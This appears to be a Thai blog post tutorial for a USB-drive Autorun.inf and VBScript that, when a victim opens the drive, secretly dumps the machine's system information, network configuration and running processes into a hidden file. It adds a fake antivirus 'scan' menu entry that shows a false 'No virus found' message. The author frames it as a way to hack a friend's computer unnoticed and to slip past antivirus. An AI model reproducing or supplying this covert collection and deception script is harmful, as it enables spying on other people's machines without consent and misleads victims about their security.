การเขียนไฟล์เพื่อเก็บรายละเอียดเครื่อง
Step 1
สร้างไฟล์ขึ้นมาอันนึง ชื่อ Autorun.inf ในไฟล์ใส่ดังนี้
[autorun]
Shell\Open\Command=wscript.exe Penguin.vbs
แล้วเซฟซะ
สั่ง Hidden ด้วยก้อได้เพื่อความแนบเนียน
Step 2
สร้างไฟล์ Script vbs ขึ้นมา ตัวไฟล์สามารถผ่าน Antivirus สบายๆ เพราะเราไม่ได้สร้างไวรัส เราแค่เก็บรายละเอียดเครื่อง
เตรียมบุกตะหาก .. ก่อนอื่นสร้างไฟล์ชื่อ Penguin.vbs ขึ้นมา แล้วคลิก Edit ใส่ดังนี้
On Error Resume Next
Dim I,Fso,Self
Self = wscript.scriptfullname
Set Fso = Wscript.Createobject("Scripting.FileSystemObject")
Set I = Wscript.Createobject("wscript.shell")
Set F = Fso.getfile(Self)
I.run "explorer.exe " & Fso.getparentfoldername(Self),3,true
I.run "cmd.exe /c systeminfo > test.zip",0,true
I.run "cmd.exe /c ipconfig >> test.zip",0,true
I.run "cmd.exe /c tasklist >> test.zip",0,true
f.attributes = 2
Step 3
ก็อปไฟล์ทั้งหมดลง Handy Drive เตรียมลุย คราวนี้เวลา เราสั่ง Open หรือ ดับเบิ้ลคลิกมันก้อ
จะสร้างไฟล์ขึ้นมาชื่อว่า test.zip
เวลาจะเปิดก้อลากไปเปิดใน Notepad จะพบกับตับไตใส้พุงของเครื่อง แฉออกมาอย่างหมดเปลือก
>> Tip หากคุณคิดจะแฮกเครื่องเพื่อนที่น่ารัก แล้วเพื่อนบอกให้สแกนไวรัส คุณสามารถสร้างเมนูสแกนไวรัสหลอกๆโดย
เพิ่มข้อมูลในไฟล์ Autorun.inf ดังนี้ ( ต่อไปด้านล่างนะครับ )
Shell\Scan Virus with น็อต ประแจ แม่แรง = Scan Virus with Nod ไม่ครบ 32
Shell\Scan Virus with น็อต ประแจ แม่แรง\Command=wscript.exe Scan.vbs
แล้วสร้างไฟล์ Scan.vbs ไว้อีกอัน ข้างในใส่ ( อย่าลืมสั่งซ่อนนะครับ )
Dim Return
Return = Msgbox ("Scan virus is successfully" & _
vbcrlf & "No virus found นะจ๊ะ",0,"น็อต ประแจ แม่แรง Anti Virus ")
แล้วก้อปไฟล์ลงที่เดียวกัน
แต่คุณไม่ต้องซีเรียสเรื่อง Anti เพราะนี่ไม่ใช่ไวรัส อีกอย่างที่อยากให้สังเกตดู คือ ทัมไดรว์ จะไม่มี Autoplay ดังนั้นอย่าวางใจหากคลิกขวาแล้วไม่เจอAutoplay
ให้มาที่เมนู รัน แล้วพิมพ์ชื่อไดรว์ เลย เช่น ทัมม์ไดรว์ อยู่ไดรว์ H: ก้อ พิมพ์ H: แล้ว OK ไฟล์ Autorun จะไม่ถูกรันขึ้นมา
นี่เป็นกระทู้แรกของผม นะ ช่วยกันคอมเมนท์ด้วยนะครับ หากตกหล่นตรงใหน ก้อขอโทษด้วย
จบข่าว ขอให้โชคดี
ไม่มีความคิดเห็น:
แสดงความคิดเห็น